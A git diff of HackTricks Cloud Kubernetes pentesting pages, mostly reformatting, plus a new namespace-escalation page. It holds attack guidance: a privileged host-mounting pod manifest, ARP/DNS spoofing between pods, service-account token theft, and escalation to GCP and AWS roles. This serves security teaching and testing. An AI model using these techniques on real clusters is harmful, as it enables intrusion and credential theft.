diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-namespace-escalation.md b/src/pentesting-cloud/kubernetes-security/kubernetes-namespace-escalation.md
new file mode 100644
index 000000000..b0ddbb10b
--- /dev/null
+++ b/src/pentesting-cloud/kubernetes-security/kubernetes-namespace-escalation.md
@@ -0,0 +1,33 @@
+# Kubernetes Namespace Escalation
+
+{{#include ../../banners/hacktricks-training.md}}
+
+In Kubernetes it's pretty common that somehow **you manage to get inside a namespace** (by stealing some user credentials or by compromising a pod). However, usually you will be interested in **escalating to a different namespace as more interesting things can be found there**.
+
+Here are some techniques you can try to escape to a different namespace:
+
+### Abuse K8s privileges
+
+Obviously if the account you have stolen have sensitive privileges over the namespace you can to escalate to, you can abuse actions like **creating pods** with service accounts in the NS, **executing** a shell in an already existent pod inside of the ns, or read the **secret** SA tokens.
+
+For more info about which privileges you can abuse read:
+
+{{#ref}}
+abusing-roles-clusterroles-in-kubernetes/
+{{#endref}}
+
+### Escape to the node
+
+If you can escape to the node either because you have compromised a pod and you can escape or because you ca create a privileged pod and escape you could do several things to steal other SAs tokens:
+
+- Check for **SAs tokens mounted in other docker containers** running in the node
+- Check for new **kubeconfig files in the node with extra permissions** given to the node
+- If enabled (or enable it yourself) try to **create mirrored pods of other namespaces** as you might get access to those namespaces default token accounts (I haven't tested this yet)
+
+All these techniques are explained in:
+
+{{#ref}}
+attacking-kubernetes-from-inside-a-pod.md
+{{#endref}}
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md
similarity index 61%
rename from pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md
rename to src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md
index 51aeb99e3..cf2940aa7 100644
--- a/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md
+++ b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md
@@ -1,19 +1,6 @@
 # Kubernetes Network Attacks
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Introduction
 
@@ -23,10 +10,10 @@ ARP spoofing attacks involve the **attacker sending falsified ARP** (Address Res
 
 In the scenario 4 machines are going to be created:
 
-* ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack)
-* **ubuntu-attack**: **Malicious** container in default namespace
-* **ubuntu-victim**: **Victim** machine in kube-system namespace
-* **mysql**: **Victim** machine in default namespace
+- ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack)
+- **ubuntu-attack**: **Malicious** container in default namespace
+- **ubuntu-victim**: **Victim** machine in kube-system namespace
+- **mysql**: **Victim** machine in default namespace
 
 ```yaml
 echo 'apiVersion: v1
@@ -35,27 +22,27 @@ metadata:
   name: ubuntu-pe
 spec:
   containers:
-  - image: ubuntu
-    command:
-      - "sleep"
-      - "360000" 
-    imagePullPolicy: IfNotPresent
-    name: ubuntu-pe
-    securityContext:
-      allowPrivilegeEscalation: true
-      privileged: true
-      runAsUser: 0 
-    volumeMounts:
-    - mountPath: /host
-      name: host-volume
-  restartPolicy: Never 
-  hostIPC: true 
-  hostNetwork: true 
-  hostPID: true 
+    - image: ubuntu
+      command:
+        - "sleep"
+        - "360000"
+      imagePullPolicy: IfNotPresent
+      name: ubuntu-pe
+      securityContext:
+        allowPrivilegeEscalation: true
+        privileged: true
+        runAsUser: 0
+      volumeMounts:
+        - mountPath: /host
+          name: host-volume
+  restartPolicy: Never
+  hostIPC: true
+  hostNetwork: true
+  hostPID: true
   volumes:
-  - name: host-volume
-    hostPath:
-      path: /
+    - name: host-volume
+      hostPath:
+        path: /
 ---
 apiVersion: v1
 kind: Pod
@@ -65,12 +52,12 @@ metadata:
     app: ubuntu
 spec:
   containers:
-  - image: ubuntu
-    command:
-      - "sleep"
-      - "360000" 
-    imagePullPolicy: IfNotPresent
-    name: ubuntu-attack
+    - image: ubuntu
+      command:
+        - "sleep"
+        - "360000"
+      imagePullPolicy: IfNotPresent
+      name: ubuntu-attack
   restartPolicy: Never
 ---
 apiVersion: v1
@@ -80,12 +67,12 @@ metadata:
   namespace: kube-system
 spec:
   containers:
-  - image: ubuntu
-    command:
-      - "sleep"
-      - "360000" 
-    imagePullPolicy: IfNotPresent
-    name: ubuntu-victim
+    - image: ubuntu
+      command:
+        - "sleep"
+        - "360000"
+      imagePullPolicy: IfNotPresent
+      name: ubuntu-victim
   restartPolicy: Never
 ---
 apiVersion: v1
@@ -94,14 +81,14 @@ metadata:
   name: mysql
 spec:
   containers:
-  - image: mysql:5.6
-    ports:
-      - containerPort: 3306
-    imagePullPolicy: IfNotPresent
-    name: mysql
-    env:
-      - name: MYSQL_ROOT_PASSWORD
-        value: mysql
+    - image: mysql:5.6
+      ports:
+        - containerPort: 3306
+      imagePullPolicy: IfNotPresent
+      name: mysql
+      env:
+        - name: MYSQL_ROOT_PASSWORD
+          value: mysql
   restartPolicy: Never' | kubectl apply -f -
 ```
 
@@ -121,9 +108,8 @@ Generally speaking, **pod-to-pod networking inside the node** is available via a
 
 This fact implies that, by default, **every pod running in the same node** is going to be able to **communicate** with any other pod in the same node (independently of the namespace) at ethernet level (layer 2).
 
-{% hint style="warning" %}
-Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.**
-{% endhint %}
+> [!WARNING]
+> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.**
 
 ### DNS
 
@@ -167,13 +153,12 @@ However, the pod **doesn't know** how to get to that **address** because the **p
 
 Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **translated** by the cbr0 **to** **172.17.0.2**.
 
-{% hint style="warning" %}
-This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod.
-
-Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modify** the **DNS responses** from the DNS server (**DNS Spoofing**).
-
-Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses.
-{% endhint %}
+> [!WARNING]
+> This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod.
+>
+> Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modify** the **DNS responses** from the DNS server (**DNS Spoofing**).
+>
+> Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses.
 
 ## ARP Spoofing in pods in the same Node
 
@@ -197,8 +182,7 @@ ngrep -d eth0
 # interacting with the mysql instance
 ```
 
-{% code title="arp_spoof.py" %}
-```python
+```python:arp_spoof.py
 #From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
 from scapy.all import *
 
@@ -249,7 +233,6 @@ if __name__=="__main__":
 
 # To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
 ```
-{% endcode %}
 
 ### ARPSpoof
 
@@ -290,10 +273,9 @@ dig google.com
 google.com.		1	IN	A	1.1.1.1
 ```
 
-{% hint style="info" %}
-If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\
-You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).
-{% endhint %}
+> [!NOTE]
+> If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\
+> You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).
 
 ## Capturing Traffic
 
@@ -302,20 +284,7 @@ It will install agents in the selected pods and gather their traffic information
 
 ## References
 
-* [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
-* [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)
+- [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
+- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md b/src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md
similarity index 100%
rename from pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md
rename to src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md
diff --git a/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md b/src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
similarity index 79%
rename from pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
rename to src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
index cea42a07d..96cf3b0e3 100644
--- a/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
+++ b/src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
@@ -28,7 +28,7 @@ $ kubectl get k8smandatorylabels
 
 A Graphic User Interface may also be available to access the OPA rules with **Gatekeeper Policy Manager.** It is "a simple _read-only_ web UI for viewing OPA Gatekeeper policies' status in a Kubernetes Cluster."
 
-<figure><img src="../../../.gitbook/assets/05-constraints.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/05-constraints.png" alt=""><figcaption></figcaption></figure>
 
 Search for the exposed service :
 
@@ -45,19 +45,19 @@ As illustrated in the image above, certain rules may not be applied universally
 
 With a comprehensive overview of the Gatekeeper configuration, it's possible to identify potential misconfigurations that could be exploited to gain privileges. Look for whitelisted or excluded namespaces where the rule doesn't apply, and then carry out your attack there.
 
-{% content-ref url="../abusing-roles-clusterroles-in-kubernetes/" %}
-[abusing-roles-clusterroles-in-kubernetes](../abusing-roles-clusterroles-in-kubernetes/)
-{% endcontent-ref %}
+{{#ref}}
+../abusing-roles-clusterroles-in-kubernetes/
+{{#endref}}
 
 ## Abusing ValidatingWebhookConfiguration
 
 Another way to bypass constraints is to focus on the ValidatingWebhookConfiguration resource :&#x20;
 
-{% content-ref url="../kubernetes-validatingwebhookconfiguration.md" %}
-[kubernetes-validatingwebhookconfiguration.md](../kubernetes-validatingwebhookconfiguration.md)
-{% endcontent-ref %}
+{{#ref}}
+../kubernetes-validatingwebhookconfiguration.md
+{{#endref}}
 
 ## References
 
-* [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
-* [https://github.com/sighupio/gatekeeper-policy-manager](https://github.com/sighupio/gatekeeper-policy-manager)
+- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
+- [https://github.com/sighupio/gatekeeper-policy-manager](https://github.com/sighupio/gatekeeper-policy-manager)
diff --git a/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md
similarity index 64%
rename from pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md
rename to src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md
index e9de02721..b5958557f 100644
--- a/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md
+++ b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md
@@ -1,19 +1,6 @@
 # Kubernetes Pivoting to Clouds
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## GCP
 
@@ -23,27 +10,26 @@ If you are running a k8s cluster inside GCP you will probably want that some app
 
 A common way to give **access to a kubernetes application to GCP** is to:
 
-* Create a GCP Service Account
-* Bind on it the desired permissions
-* Download a json key of the created SA
-* Mount it as a secret inside the pod
-* Set the GOOGLE\_APPLICATION\_CREDENTIALS environment variable pointing to the path where the json is.
+- Create a GCP Service Account
+- Bind on it the desired permissions
+- Download a json key of the created SA
+- Mount it as a secret inside the pod
+- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.
 
-{% hint style="warning" %}
-Therefore, as an **attacker**, if you compromise a container inside a pod, you should check for that **env** **variable** and **json** **files** with GCP credentials.
-{% endhint %}
+> [!WARNING]
+> Therefore, as an **attacker**, if you compromise a container inside a pod, you should check for that **env** **variable** and **json** **files** with GCP credentials.
 
 ### Relating GSA json to KSA secret
 
 A way to give access to a GSA to a GKE cluser is by binding them in this way:
 
-* Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
+- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
 
 ```bash
 Copy codekubectl create serviceaccount <service-account-name>
 ```
 
-* Create a Kubernetes Secret that contains the credentials of the GCP service account you want to grant access to the GKE cluster. You can do this using the `gcloud` command-line tool, as shown in the following example:
+- Create a Kubernetes Secret that contains the credentials of the GCP service account you want to grant access to the GKE cluster. You can do this using the `gcloud` command-line tool, as shown in the following example:
 
 ```bash
 Copy codegcloud iam service-accounts keys create <key-file-name>.json \
@@ -52,16 +38,15 @@ kubectl create secret generic <secret-name> \
     --from-file=key.json=<key-file-name>.json
 ```
 
-* Bind the Kubernetes Secret to the Kubernetes service account using the following command:
+- Bind the Kubernetes Secret to the Kubernetes service account using the following command:
 
 ```bash
 Copy codekubectl annotate serviceaccount <service-account-name> \
     iam.gke.io/gcp-service-account=<gcp-service-account-email>
 ```
 
-{% hint style="warning" %}
-In the **second step** it was set the **credentials of the GSA as secret of the KSA**. Then, if you can **read that secret** from **inside** the **GKE** cluster, you can **escalate to that GCP service account**.
-{% endhint %}
+> [!WARNING]
+> In the **second step** it was set the **credentials of the GSA as secret of the KSA**. Then, if you can **read that secret** from **inside** the **GKE** cluster, you can **escalate to that GCP service account**.
 
 ### GKE Workload Identity
 
@@ -69,28 +54,23 @@ With Workload Identity, we can configure a[ Kubernetes service account](https://
 
 The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate.
 
-* **Enable Workload Identity** on a new cluster
+- **Enable Workload Identity** on a new cluster
 
-{% code overflow="wrap" %}
 ```bash
 gcloud container clusters update <cluster_name> \
     --region=us-central1 \
     --workload-pool=<project-id>.svc.id.goog
 ```
-{% endcode %}
 
-* **Create/Update a new nodepool** (Autopilot clusters don't need this)
+- **Create/Update a new nodepool** (Autopilot clusters don't need this)
 
-{% code overflow="wrap" %}
 ```bash
 # You could update instead of create
 gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
 ```
-{% endcode %}
 
-* Create the **GCP Service Account to impersonate** from K8s with GCP permissions:
+- Create the **GCP Service Account to impersonate** from K8s with GCP permissions:
 
-{% code overflow="wrap" %}
 ```bash
 # Create SA called "gsa2ksa"
 gcloud iam service-accounts create gsa2ksa --project=<project-id>
@@ -100,11 +80,9 @@ gcloud projects add-iam-policy-binding <project-id> \
     --member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
     --role "roles/iam.securityReviewer"
 ```
-{% endcode %}
 
-* **Connect** to the **cluster** and **create** the **service account** to use
+- **Connect** to the **cluster** and **create** the **service account** to use
 
-{% code overflow="wrap" %}
 ```bash
 # Get k8s creds
 gcloud container clusters get-credentials <cluster_name> --region=us-central1
@@ -115,11 +93,9 @@ kubectl create namespace testing
 # Create the KSA
 kubectl create serviceaccount ksa2gcp -n testing
 ```
-{% endcode %}
 
-* **Bind the GSA with the KSA**
+- **Bind the GSA with the KSA**
 
-{% code overflow="wrap" %}
 ```bash
 # Allow the KSA to access the GSA in GCP IAM
 gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
@@ -131,9 +107,8 @@ kubectl annotate serviceaccount ksa2gcp \
     --namespace testing \
     iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
 ```
-{% endcode %}
 
-* Run a **pod** with the **KSA** and check the **access** to **GSA:**
+- Run a **pod** with the **KSA** and check the **access** to **GSA:**
 
 ```bash
 # If using Autopilot remove the nodeSelector stuff!
@@ -163,16 +138,13 @@ gcloud auth list
 
 Check the following command to authenticate in case needed:
 
-{% code overflow="wrap" %}
 ```bash
 gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
 ```
-{% endcode %}
 
-{% hint style="warning" %}
-As an attacker inside K8s you should **search for SAs** with the **`iam.gke.io/gcp-service-account` annotation** as that indicates that the SA can access something in GCP. Another option would be to try to abuse each KSA in the cluster and check if it has access.\
-From GCP is always interesting to enumerate the bindings and know **which access are you giving to SAs inside Kubernetes**.
-{% endhint %}
+> [!WARNING]
+> As an attacker inside K8s you should **search for SAs** with the **`iam.gke.io/gcp-service-account` annotation** as that indicates that the SA can access something in GCP. Another option would be to try to abuse each KSA in the cluster and check if it has access.\
+> From GCP is always interesting to enumerate the bindings and know **which access are you giving to SAs inside Kubernetes**.
 
 This is a script to easily **iterate over the all the pods** definitions **looking** for that **annotation**:
 
@@ -195,18 +167,15 @@ An (outdated) way to give IAM Roles to Pods is to use a [**Kiam**](https://githu
 
 First of all you need to configure **which roles can be accessed inside the namespace**, and you do that with an annotation inside the namespace object:
 
-{% code title="Kiam" %}
-```yaml
+```yaml:Kiam
 kind: Namespace
 metadata:
   name: iam-example
   annotations:
     iam.amazonaws.com/permitted: ".*"
 ```
-{% endcode %}
 
-{% code title="Kube2iam" %}
-```yaml
+```yaml:Kube2iam
 apiVersion: v1
 kind: Namespace
 metadata:
@@ -215,12 +184,10 @@ metadata:
       ["role-arn"]
   name: default
 ```
-{% endcode %}
 
 Once the namespace is configured with the IAM roles the Pods can have you can **indicate the role you want on each pod definition with something like**:
 
-{% code title="Kiam & Kube2iam" %}
-```yaml
+```yaml:Kiam & Kube2iam
 kind: Pod
 metadata:
   name: foo
@@ -228,17 +195,14 @@ metadata:
   annotations:
     iam.amazonaws.com/role: reportingdb-reader
 ```
-{% endcode %}
 
-{% hint style="warning" %}
-As an attacker, if you **find these annotations** in pods or namespaces or a kiam/kube2iam server running (in kube-system probably) you can **impersonate every r**ole that is already **used by pods** and more (if you have access to AWS account enumerate the roles).
-{% endhint %}
+> [!WARNING]
+> As an attacker, if you **find these annotations** in pods or namespaces or a kiam/kube2iam server running (in kube-system probably) you can **impersonate every r**ole that is already **used by pods** and more (if you have access to AWS account enumerate the roles).
 
 #### Create Pod with IAM Role
 
-{% hint style="info" %}
-The IAM role to indicate must be in the same AWS account as the kiam/kube2iam role and that role must be able to access it.
-{% endhint %}
+> [!NOTE]
+> The IAM role to indicate must be in the same AWS account as the kiam/kube2iam role and that role must be able to access it.
 
 ```yaml
 echo 'apiVersion: v1
@@ -284,27 +248,23 @@ kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com
 
 To **get aws using the token** from `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` run:
 
-{% code overflow="wrap" %}
 ```bash
 aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
 ```
-{% endcode %}
 
-{% hint style="warning" %}
-As an attacker, if you can enumerate a K8s cluster, check for **service accounts with that annotation** to **escalate to AWS**. To do so, just **exec/create** a **pod** using one of the IAM **privileged service accounts** and steal the token.
+> [!WARNING]
+> As an attacker, if you can enumerate a K8s cluster, check for **service accounts with that annotation** to **escalate to AWS**. To do so, just **exec/create** a **pod** using one of the IAM **privileged service accounts** and steal the token.
+>
+> Moreover, if you are inside a pod, check for env variables like **AWS_ROLE_ARN** and **AWS_WEB_IDENTITY_TOKEN.**
 
-Moreover, if you are inside a pod, check for env variables like **AWS\_ROLE\_ARN** and **AWS\_WEB\_IDENTITY\_TOKEN.**
-{% endhint %}
+> [!CAUTION]
+> Sometimes the **Turst Policy of a role** might be **bad configured** and instead of giving AssumeRole access to the expected service account, it gives it to **all the service accounts**. Therefore, if you are capable of write an annotation on a controlled service account, you can access the role.
+>
+> Check the **following page for more information**:
 
-{% hint style="danger" %}
-Sometimes the **Turst Policy of a role** might be **bad configured** and instead of giving AssumeRole access to the expected service account, it gives it to **all the service accounts**. Therefore, if you are capable of write an annotation on a controlled service account, you can access the role.
-
-Check the **following page for more information**:
-{% endhint %}
-
-{% content-ref url="../aws-security/aws-basic-information/aws-federation-abuse.md" %}
-[aws-federation-abuse.md](../aws-security/aws-basic-information/aws-federation-abuse.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-security/aws-basic-information/aws-federation-abuse.md
+{{#endref}}
 
 ### Find Pods a SAs with IAM Roles in the Cluster
 
@@ -356,21 +316,8 @@ fi
 
 ## References
 
-* [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
-* [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
-* [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
+- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
+- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
+- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md
similarity index 62%
rename from pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md
rename to src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md
index 4c5e3aa00..037697582 100644
--- a/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md
+++ b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md
@@ -1,19 +1,6 @@
 # Kubernetes Role-Based Access Control(RBAC)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Role-Based Access Control (RBAC)
 
@@ -29,9 +16,9 @@ RBAC’s permission model is built from **three individual parts**:
 
 The difference between “**Roles**” and “**ClusterRoles**” is just where the role will be applied – a “**Role**” will grant access to only **one** **specific** **namespace**, while a “**ClusterRole**” can be used in **all namespaces** in the cluster. Moreover, **ClusterRoles** can also grant access to:
 
-* **cluster-scoped** resources (like nodes).
-* **non-resource** endpoints (like /healthz).
-* namespaced resources (like Pods), **across all namespaces**.
+- **cluster-scoped** resources (like nodes).
+- **non-resource** endpoints (like /healthz).
